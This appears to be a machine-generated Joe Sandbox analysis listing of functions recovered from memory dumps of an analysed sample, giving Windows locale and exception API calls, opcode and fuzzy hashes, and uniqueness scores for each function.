Opcode ID: f87b95bf7ed8afe94bfc0c8a0600dbddecd1a8bffb34b280c7fd2875d8296d22
Instruction ID: 6d0daeeb83178061239b016d0dd6b24c74753a140de2e13cd1f6d5f589e425fb
Opcode Fuzzy Hash: f87b95bf7ed8afe94bfc0c8a0600dbddecd1a8bffb34b280c7fd2875d8296d22
Instruction Fuzzy Hash: 51B12B315506089FD719CF28C486BA57BA0FF4536CF25D66CE99ACF2A1C335D992CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9DB Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0041B9D6,?,?,00000008,?,?,004237BF,00000000), ref: 0041BC08

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f87b95bf7ed8afe94bfc0c8a0600dbddecd1a8bffb34b280c7fd2875d8296d22
Instruction ID: 8b02c046b1349fa8d1850d3e095c1a6d4c0cf7501751e3a939ef3782380b6931
Opcode Fuzzy Hash: f87b95bf7ed8afe94bfc0c8a0600dbddecd1a8bffb34b280c7fd2875d8296d22
Instruction Fuzzy Hash: 98B129316106089FD715CF28C48ABA57BE0FF45364F25869DE899CF3A1C739E992CB84

Uniqueness

Uniqueness Score: -1.00%

Function 02E20A95 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

Part of subcall function 02E17110: _free.LIBCMT ref: 02E1716F
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E1717C

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 02E20AE9

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: a72acd9b79181c9fefbbb2335a49cc9e538ba5bd2f2168607d7c09e466fc0e45
Instruction ID: eb00481d7e50c72532e3ff72a48750c2836dbc7c16b2b508f2399002adb766cb
Opcode Fuzzy Hash: a72acd9b79181c9fefbbb2335a49cc9e538ba5bd2f2168607d7c09e466fc0e45
Instruction Fuzzy Hash: 3C21B672A90216ABDF249E24CC51BBA77A8EB00318F1090BAF906D7181EB759948CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0042082E Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

Part of subcall function 00416EA9: _free.LIBCMT ref: 00416F08
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F15

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00420882

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: a72acd9b79181c9fefbbb2335a49cc9e538ba5bd2f2168607d7c09e466fc0e45
Instruction ID: 2df4eb2230f5018f6487eae0d322524a16d12e693dd9d3af2671cd5ecd3db5d5
Opcode Fuzzy Hash: a72acd9b79181c9fefbbb2335a49cc9e538ba5bd2f2168607d7c09e466fc0e45
Instruction Fuzzy Hash: 6E21B672A102269BEB24AE25EC41BBB73E8EB00314F50417FFD05D6242E778DD85DB98

Uniqueness

Uniqueness Score: -1.00%

Function 02E2071D Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

EnumSystemLocalesW.KERNEL32(004205DE,00000001), ref: 02E2078F

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 60587d963812b968708e1fea5f1039f7d67ef6feb0c8f95478bdd29b214bfcc7
Instruction ID: ae21903d816dd9d1dc1a8b3a1711b806718f87c6f7eedbab850fcaad711d2d4f
Opcode Fuzzy Hash: 60587d963812b968708e1fea5f1039f7d67ef6feb0c8f95478bdd29b214bfcc7
Instruction Fuzzy Hash: 5E1129366003059FDB28AF38C8916BAB792FF80358B14843DE98787A40D371A442CF40

Uniqueness

Uniqueness Score: -1.00%

Function 004204B6 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

EnumSystemLocalesW.KERNEL32(004205DE,00000001), ref: 00420528

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 60587d963812b968708e1fea5f1039f7d67ef6feb0c8f95478bdd29b214bfcc7
Instruction ID: 4308e4e8cbf7bbd2afdc2194052b2ba5f068c590b285bba1e85f53793a5a8573
Opcode Fuzzy Hash: 60587d963812b968708e1fea5f1039f7d67ef6feb0c8f95478bdd29b214bfcc7
Instruction Fuzzy Hash: A611293A3003059FDB28AF39D8916BAB7D1FF80358B54442EE94787741D375B982CB44

Uniqueness

Uniqueness Score: -1.00%

Function 02E20CC5 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,02E20A63,00000000,00000000,?), ref: 02E20CF1

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: 305e1183d80ad090140f37d97414fc65d2676e5f061ccd9fc3e5dec26e18cd6b
Instruction ID: b0453ad003ecd8b8e3337b2dab824b817b959181c88a5044ca2aa33dd22bad9d
Opcode Fuzzy Hash: 305e1183d80ad090140f37d97414fc65d2676e5f061ccd9fc3e5dec26e18cd6b
Instruction Fuzzy Hash: 16F0F932A80129AFDB285A64CC05BFA7B68EB4071CF059839EC07A3180EB71BD45C6D0

Uniqueness

Uniqueness Score: -1.00%

Function 00420A5E Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004207FC,00000000,00000000,?), ref: 00420A8A

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: 305e1183d80ad090140f37d97414fc65d2676e5f061ccd9fc3e5dec26e18cd6b
Instruction ID: 0d273dd1cc5d2c06c49c545876110c98ac3bc9bd2a8d05f66538c0b298b543e6
Opcode Fuzzy Hash: 305e1183d80ad090140f37d97414fc65d2676e5f061ccd9fc3e5dec26e18cd6b
Instruction Fuzzy Hash: 86F0F936710326BBDB249A65D805BBB77A8EF50314F95442AEC05A3281EA38BD41C6D8

Uniqueness

Uniqueness Score: -1.00%

Function 02E20A93 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

Part of subcall function 02E17110: _free.LIBCMT ref: 02E1716F
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E1717C

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 02E20AE9

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: af645bddcdf7206a8026951ea023fda8740ff768242401beaf616e21c31edf64
Instruction ID: 0cfb0f56324305ded9dcf6dc9dcbe233b242382c6f05ce31b124a9dab046e03b
Opcode Fuzzy Hash: af645bddcdf7206a8026951ea023fda8740ff768242401beaf616e21c31edf64
Instruction Fuzzy Hash: 5AF0F932B901199BDB14AF74DC41EBA73A9DB44710F009179F906DB281DA756D098B94

Uniqueness

Uniqueness Score: -1.00%

Function 02E207B8 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

EnumSystemLocalesW.KERNEL32(0042082E,00000001), ref: 02E20804

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 23895d40137c9d03cd7711ee6f0d38765303b3a8ee2c6750ccda9591b6ca51c8
Instruction ID: a58e5e8aa9741b0bfbab91e30544665b4e2354d438a2b22a9a54f672808fd2f9
Opcode Fuzzy Hash: 23895d40137c9d03cd7711ee6f0d38765303b3a8ee2c6750ccda9591b6ca51c8
Instruction Fuzzy Hash: 60F022363403081FDB24AF39DC81B7BBB91EF8072CB04843CF9028B680D7B19842CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00420551 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

EnumSystemLocalesW.KERNEL32(0042082E,00000001), ref: 0042059D

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 23895d40137c9d03cd7711ee6f0d38765303b3a8ee2c6750ccda9591b6ca51c8
Instruction ID: 3997aacdd3254c3e58778a443acb3a7274f2f8d97694fcc71a8669a19f386a16
Opcode Fuzzy Hash: 23895d40137c9d03cd7711ee6f0d38765303b3a8ee2c6750ccda9591b6ca51c8
Instruction Fuzzy Hash: 1CF028363003046FDB249F39E88167B7BE0EF80368B45402EF90587641D775DC818A58

Uniqueness

Uniqueness Score: -1.00%

Function 02E178DB Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,02E14192,?,00000004), ref: 02E1792E

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 6f9548197f6d22305a4a119bdb3ebd57b3aba51c3a3ea48acaa0a9bfeea8d929
Instruction ID: 6cd34f988ebb8e1080af49db03f9248a2ab6c9987fe644392e412978354acf56
Opcode Fuzzy Hash: 6f9548197f6d22305a4a119bdb3ebd57b3aba51c3a3ea48acaa0a9bfeea8d929
Instruction Fuzzy Hash: 06F09631A81208BBDB116FA5EC01F6E7B66EF0CB10F515065FC0566260CB754910DAD8

Uniqueness

Uniqueness Score: -1.00%

Function 02E174E8 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 02E11E04: RtlEnterCriticalSection.NTDLL(?), ref: 02E11E13

EnumSystemLocalesW.KERNEL32(0041723B,00000001,0043D958,0000000C), ref: 02E17520

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: fe01916bd72a13db69d1d0434d212a0cf7d3775b373ac3c4c11f81c9d75fb091
Instruction ID: 9b2319f8dc0daba19f323917b5b9d6834052416db1296541c0f0725a8ae56e95
Opcode Fuzzy Hash: fe01916bd72a13db69d1d0434d212a0cf7d3775b373ac3c4c11f81c9d75fb091
Instruction Fuzzy Hash: D2F03732A902049BEB14EF68D886B9D77B1EF05720F10916AF514DB2E2CB748995CF89

Uniqueness

Uniqueness Score: -1.00%

Function 00417281 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00411B9D: EnterCriticalSection.KERNEL32(?,?,00416C49,?,0043D8D8,00000008,00416D17,?,?,?), ref: 00411BAC

EnumSystemLocalesW.KERNEL32(Function_0001723B,00000001,0043D958,0000000C), ref: 004172B9

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: fe01916bd72a13db69d1d0434d212a0cf7d3775b373ac3c4c11f81c9d75fb091
Instruction ID: 92b9bdf651ab39a073590a5402f5c7ef144be62ef2e7c6eda0c64cdb7bcc16d4
Opcode Fuzzy Hash: fe01916bd72a13db69d1d0434d212a0cf7d3775b373ac3c4c11f81c9d75fb091
Instruction Fuzzy Hash: C8F03776A50204DFEB14EF69E846B9D37B0AF05324F10416AF514EB2A2CB788985DF49

Uniqueness

Uniqueness Score: -1.00%

Function 02E206D2 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

EnumSystemLocalesW.KERNEL32(004203C2,00000001), ref: 02E20709

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 739eeab37f14b34e1203f6f4273942927534a48034127b0103d8b51954c92194
Instruction ID: 56f914334d3a1e360f2cb9dd09b18694d5a1f9ee8dfae0d4f68e137ec17f5f99
Opcode Fuzzy Hash: 739eeab37f14b34e1203f6f4273942927534a48034127b0103d8b51954c92194
Instruction Fuzzy Hash: D0F0EC3534021557CB149F35D84576ABF94EFC1714B464459EA05CB591C7759843CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0042046B Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

EnumSystemLocalesW.KERNEL32(004203C2,00000001), ref: 004204A2

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 739eeab37f14b34e1203f6f4273942927534a48034127b0103d8b51954c92194
Instruction ID: 25e3f0800c09ce2c615655f4009b4e8723fb097ebabb6bd0d23b5de9c8d2cdc5
Opcode Fuzzy Hash: 739eeab37f14b34e1203f6f4273942927534a48034127b0103d8b51954c92194
Instruction Fuzzy Hash: 99F0E53A70031557CB14AF3AEC4576A7F94FFC1724B46405EEE09CB652C6799882C794

Uniqueness

Uniqueness Score: -1.00%

Function 02E09EFD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00409CA2,02E09678), ref: 02E09F02

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c64a5afb6f3d4733b5c97249354f736787a673669b0965e8207d74d54dfa7fd1
Instruction ID: 16a5e427fedb7cef854c7e900bba7c70e63062ca58e990692b40ef1266b3aa43
Opcode Fuzzy Hash: c64a5afb6f3d4733b5c97249354f736787a673669b0965e8207d74d54dfa7fd1
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00409C96 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00009CA2,00409411), ref: 00409C9B

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c64a5afb6f3d4733b5c97249354f736787a673669b0965e8207d74d54dfa7fd1
Instruction ID: 16a5e427fedb7cef854c7e900bba7c70e63062ca58e990692b40ef1266b3aa43
Opcode Fuzzy Hash: c64a5afb6f3d4733b5c97249354f736787a673669b0965e8207d74d54dfa7fd1
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02E0F738 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 02E0F8A8

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b6b344bc33aa75e8b74452ce0f577aa81992de8fdf6ffb4767baca486ca3f9e2
Instruction ID: 9567535836a2f6ea4568f6358e79fa60007bfb3f102f6d1357e6f89abc7f6232
Opcode Fuzzy Hash: b6b344bc33aa75e8b74452ce0f577aa81992de8fdf6ffb4767baca486ca3f9e2
Instruction Fuzzy Hash: 08514621AD060556DB38496884D47FE23969B0630CF2CF909D4429BEC1DF25E5F7C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040F4D1 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 0040F641

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b6b344bc33aa75e8b74452ce0f577aa81992de8fdf6ffb4767baca486ca3f9e2
Instruction ID: e08f033490a02598469ec5dac71603004dd986ce157360749b6bec91cdc78ca7
Opcode Fuzzy Hash: b6b344bc33aa75e8b74452ce0f577aa81992de8fdf6ffb4767baca486ca3f9e2
Instruction Fuzzy Hash: 835113B060464467DB384D6888567BF2385AB56304F18093BE842B7FD3D63EED0F825E

Uniqueness

Uniqueness Score: -1.00%

Function 00420DAA Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00420DAA

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 9c2315f41b657be9b71b1fca465d69b8932680cfa2d1849c8761602814a3289b
Instruction ID: 1d3415c556763c681be452dac5eff1f414972f546d5fbb7f58dfc21db527c1e6
Opcode Fuzzy Hash: 9c2315f41b657be9b71b1fca465d69b8932680cfa2d1849c8761602814a3289b
Instruction Fuzzy Hash: 05A02470700100CF53704FF45F4430D35DC5D453C030000345504C0030D7344050C704

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0F9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee19707691226b56ea06546ad9d6587937c96ec5a0a74c6da89c1d9ff9278e8e
Instruction ID: f5a2feba7795580363095000c5ef7de0b3c509c31714a417a51aa2d485247bf7
Opcode Fuzzy Hash: ee19707691226b56ea06546ad9d6587937c96ec5a0a74c6da89c1d9ff9278e8e
Instruction Fuzzy Hash: 14320432D69F014DD7239634DDA2376A248AFB73C5F15E737E81AB5AA5EB28C4C34108

Uniqueness

Uniqueness Score: -1.00%

Function 02E28885 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbfab4de4ceac8a428bbd9a76e788bfe9fb8b975d69493ee0722e517272c384b
Instruction ID: 22541513387e7193c4e03452263d2b287e64c5df81739f7e70b0fb80577f21f4
Opcode Fuzzy Hash: dbfab4de4ceac8a428bbd9a76e788bfe9fb8b975d69493ee0722e517272c384b
Instruction Fuzzy Hash: 08D1F475E012298FCF14CFA8D590AEDBBF5FB88314F24926AD856E7244D730A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0042861E Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbfab4de4ceac8a428bbd9a76e788bfe9fb8b975d69493ee0722e517272c384b
Instruction ID: 2c2b339f771d42c52765546589390fe0ba12f41a8a733c54558fd39bc435b92c
Opcode Fuzzy Hash: dbfab4de4ceac8a428bbd9a76e788bfe9fb8b975d69493ee0722e517272c384b
Instruction Fuzzy Hash: B1D11471E012298FCF14CFA8E5809ADBBF5FB89314F64826ED855E7344DA34A941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02E0C2E8 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 1e4d934375182b2fa87387a050611fb8b36914da300fc887e6e327062a6facbb
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: F291BC321480A34ADB2D467E84B457EFFE15A422A9329779FD4F2CB0C1EF24D1E6D620

Uniqueness

Uniqueness Score: -1.00%

Function 0040C081 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 03985c927d963f4e5f0471ab81548526574036dd93a72a7e8118797dd5e0e662
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: F19197722080A38ADB69437984B403FFFE15A513A131A07BFD4F2DE6C5EE388555E664

Uniqueness

Uniqueness Score: -1.00%

Function 02E0C5A3 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: fb94dcf476b38a2331b5b870f0df22bbb2135c73430b6d36349249c1c30e718a
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: B19197731480A34ADB29427E85B413DFFE15A422A932E779FD4F2CB1C5EF24D1A6D620

Uniqueness

Uniqueness Score: -1.00%

